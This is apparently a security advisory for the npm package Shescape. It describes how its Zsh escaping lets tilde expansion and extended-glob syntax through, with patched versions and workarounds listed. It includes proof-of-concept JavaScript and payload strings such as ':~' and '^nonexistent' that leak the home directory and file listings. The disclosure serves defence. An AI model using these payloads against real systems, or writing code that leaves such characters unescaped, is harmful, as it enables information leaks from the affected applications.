PT-2026-67587 · Npm · Shescape

Published

2026-07-24

·

Updated

2026-07-24

CVSS v4.0

6.3

Medium

VectorAV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Impact

This impacts users of Shescape on Unix systems that explicitly configure shell to Zsh, or true when the default shell is Zsh, using the escape and escapeAll. The Zsh options EXTENDED GLOB and MAGIC EQUAL SUBST exacerbate the problem.
In certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information.

Without option / with MAGIC EQUAL SUBST

javascript
import * as cp from "node:child process";
import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
  shell: "zsh",
  // Or
  shell: true, // Only if the default shell is Zsh
};

// 2. Payload
const payload1 = ":~";
// Or
const payload2 = "a=~"; // requires MAGIC EQUAL SUBST

// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;

escapedPayload = shescape.escape(payload1);
// Or
escapedPayload = shescape.escapeAll([payload1]);
// And (example)
const result1 = cp.execSync(`V=${escapedPayload}; echo $V`, options);

// Or
escapedPayload = shescape.escape(payload2);
// Or
escapedPayload = shescape.escapeAll([payload2]);
// And (example)
const result2 = cp.execSync(`echo ${escapedPayload}`, options);

// 4. Impact
console.log("", result1.toString().trim(), "
", result2.toString().trim());
// Outputs ":" followed by the user's home directory on one line and "a="
// followed by the user's home directory (under MAGIC EQUAL SUBST) on the next.

With EXTENDED GLOB

javascript
import * as cp from "node:child process";
import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
  shell: "zsh",
  // Or
  shell: true, // Only if the default shell is Zsh
};

// And (example)
// `setopt EXTENDED GLOB` in ~/.zshenv

// 2. Payload
let payload;

payload = "pa#ckage.json";
// Or
payload = "^package.json~package-lock.json";
// Or
payload = "^nonexistent";

// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;

escapedPayload = shescape.escape(payload);
// Or
escapedPayload = shescape.escapeAll([payload]);

// And (example)
const result = cp.execSync(`echo ${escapedPayload}`, options);

// 4. Impact
console.log(result.toString());
// Outputs files and directories in the current directory

Patches

This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.
If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.
No patches will be released for version of Shescape lower than v2.0.0.

Workarounds

Alternatively, users of Shescape can 1) refrain from using Zsh, 2) ensure the EXTENDED GLOB option is disabled, 3) remove all instances of ^, #, and ~ from untrusted inputs.

For more information

Fix

OS Command Injection

Improper Neutralization of Wildcards

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Weakness Enumeration

Related Identifiers

GHSA-6V4M-FW66-8R4X

Affected Products

Shescape